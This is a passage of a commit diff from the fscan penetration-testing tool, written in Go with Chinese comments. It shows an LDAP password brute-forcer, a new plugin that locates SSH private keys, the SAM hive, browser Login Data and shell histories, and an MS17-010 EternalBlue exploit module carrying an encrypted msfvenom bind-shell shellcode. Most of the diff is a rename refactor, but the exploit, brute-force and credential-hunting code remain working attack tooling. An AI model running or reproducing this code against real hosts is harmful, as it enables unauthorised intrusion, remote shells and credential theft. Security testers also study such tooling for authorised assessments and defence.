if result != nil {
// 记录成功结果
saveLDAPResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("LDAP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentLDAPScan 并发扫描LDAP服务
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *LDAPScanResult, 1)
workChan := make(chan LDAPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryLDAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("LDAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryLDAPCredential 尝试单个LDAP凭据
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &LDAPScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := LDAPConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &LDAPScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &LDAPScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// LDAPConn 尝试LDAP连接
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 创建拨号器并设置超时
dialer := &net.Dialer{
Timeout: time.Duration(Common.Timeout) * time.Second,
}
// 使用上下文控制的拨号过程
conn, err := dialer.DialContext(ctx, "tcp", address)
if err != nil {
return false, err
}
// 使用已连接的TCP连接创建LDAP连接
l := ldap.NewConn(conn, false)
defer l.Close()
// 在单独的协程中启动LDAP连接
go l.Start()
// 创建一个完成通道
done := make(chan error, 1)
// 在协程中进行绑定和搜索操作,确保可以被上下文取消
go func() {
// 尝试绑定
var err error
if user != "" {
// 使用更通用的绑定DN模式
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
err = l.Bind(bindDN, pass)
} else {
// 匿名绑定
err = l.UnauthenticatedBind("")
}
if err != nil {
done <- err
return
}
// 尝试简单搜索以验证权限
searchRequest := ldap.NewSearchRequest(
"dc=example,dc=com",
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
"(objectClass=*)",
[]string{"dn"},
nil,
)
_, err = l.Search(searchRequest)
done <- err
}()
// 等待操作完成或上下文取消
select {
case err := <-done:
if err != nil {
return false, err
}
return true, nil
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveLDAPResult 保存LDAP扫描结果
func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("LDAP服务 %s 匿名访问成功", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"type": "anonymous-access",
}
} else {
successMsg = fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}

218
Plugins/LocalInfo.go Normal file
View File

@ -0,0 +1,218 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
// 文件扫描黑名单,跳过这些类型和目录
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
// 敏感文件关键词白名单
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件路径
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件路径
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
// LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *Common.HostInfo) (err error) {
Common.LogBase("开始本地信息收集...")
// 获取用户主目录
home, err := os.UserHomeDir()
if err != nil {
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err
}
// 扫描固定位置的敏感文件
scanFixedLocations(home)
// 根据规则搜索敏感文件
searchSensitiveFiles()
Common.LogBase("本地信息收集完成")
return nil
}
// scanFixedLocations 扫描固定位置的敏感文件
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
// checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
}
}
// searchSensitiveFiles 搜索敏感文件
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break
}
}
return nil
})
}
}

View File

@ -5,7 +5,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
"io"
"io/ioutil"
"net"
@ -14,19 +14,19 @@ import (
)
// MS17010EXP 执行MS17-010漏洞利用
func MS17010EXP(info *common.HostInfo) {
func MS17010EXP(info *Common.HostInfo) {
address := info.Host + ":445"
var sc string
// 根据不同类型选择shellcode
switch common.Shellcode {
switch Common.Shellcode {
case "bind":
// msfvenom生成的Bind Shell, 监听64531端口
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return
}
@ -40,7 +40,7 @@ func MS17010EXP(info *common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
return
}
@ -50,21 +50,21 @@ func MS17010EXP(info *common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return
}
default:
// 从文件读取或直接使用提供的shellcode
if strings.Contains(common.Shellcode, "file:") {
read, err := ioutil.ReadFile(common.Shellcode[5:])
if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:])
if err != nil {
common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", common.Shellcode, err))
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
return
}
sc = fmt.Sprintf("%x", read)
} else {
sc = common.Shellcode
sc = Common.Shellcode
}
}
@ -77,18 +77,18 @@ func MS17010EXP(info *common.HostInfo) {
// 解码shellcode
sc1, err := hex.DecodeString(sc)
if err != nil {
common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
return
}
// 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
return
}
common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
}
// eternalBlue 执行EternalBlue漏洞利用
@ -189,10 +189,10 @@ func exploit(address string, grooms int, payload []byte) error {
// 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
// 发送payload
common.LogSuccess("开始发送Payload")
Common.LogSuccess("开始发送Payload")
body := makeSMB2Body(payload)
// 分段发送payload
@ -208,7 +208,7 @@ func exploit(address string, grooms int, payload []byte) error {
}
}
common.LogSuccess("Payload发送完成")
Common.LogSuccess("Payload发送完成")
return nil
}

View File

@ -4,8 +4,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
@ -33,88 +32,88 @@ func init() {
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
}
}
// MS17010 扫描入口函数
func MS17010(info *common.HostInfo) error {
if common.DisableBrute {
func MS17010(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
}
return err
}
func MS17010Scan(info *common.HostInfo) error {
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接错误: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时错误: %v", err)
}
@ -158,7 +157,7 @@ func MS17010Scan(info *common.HostInfo) error {
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else {
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
@ -213,20 +212,20 @@ func MS17010Scan(info *common.HostInfo) error {
}
if os != "" {
details["os"] = os
common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
// 保存 MS17-010 漏洞结果
result := &output.ScanResult{
result := &Common.ScanResult{
Time: time.Now(),
Type: output.TypeVuln,
Type: Common.VULN,
Target: ip,
Status: "vulnerable",
Details: details,
}
common.SaveResult(result)
Common.SaveResult(result)
// DOUBLEPULSAR 后门检测
trans2SessionSetupRequest[28] = treeID[0]
@ -246,12 +245,12 @@ func MS17010Scan(info *common.HostInfo) error {
}
if reply[34] == 0x51 {
common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
// 保存 DOUBLEPULSAR 后门结果
backdoorResult := &output.ScanResult{
backdoorResult := &Common.ScanResult{
Time: time.Now(),
Type: output.TypeVuln,
Type: Common.VULN,
Target: ip,
Status: "backdoor",
Details: map[string]interface{}{
@ -260,20 +259,20 @@ func MS17010Scan(info *common.HostInfo) error {
"os": os,
},
}
common.SaveResult(backdoorResult)
Common.SaveResult(backdoorResult)
}
// Shellcode 利用部分保持不变
if common.Shellcode != "" {
if Common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
// 保存系统信息
sysResult := &output.ScanResult{
sysResult := &Common.ScanResult{
Time: time.Now(),
Type: output.TypeService,
Type: Common.SERVICE,
Target: ip,
Status: "identified",
Details: map[string]interface{}{
@ -282,7 +281,7 @@ func MS17010Scan(info *common.HostInfo) error {
"os": os,
},
}
common.SaveResult(sysResult)
Common.SaveResult(sysResult)
}
return nil

Some files were not shown because too many files have changed in this diff Show More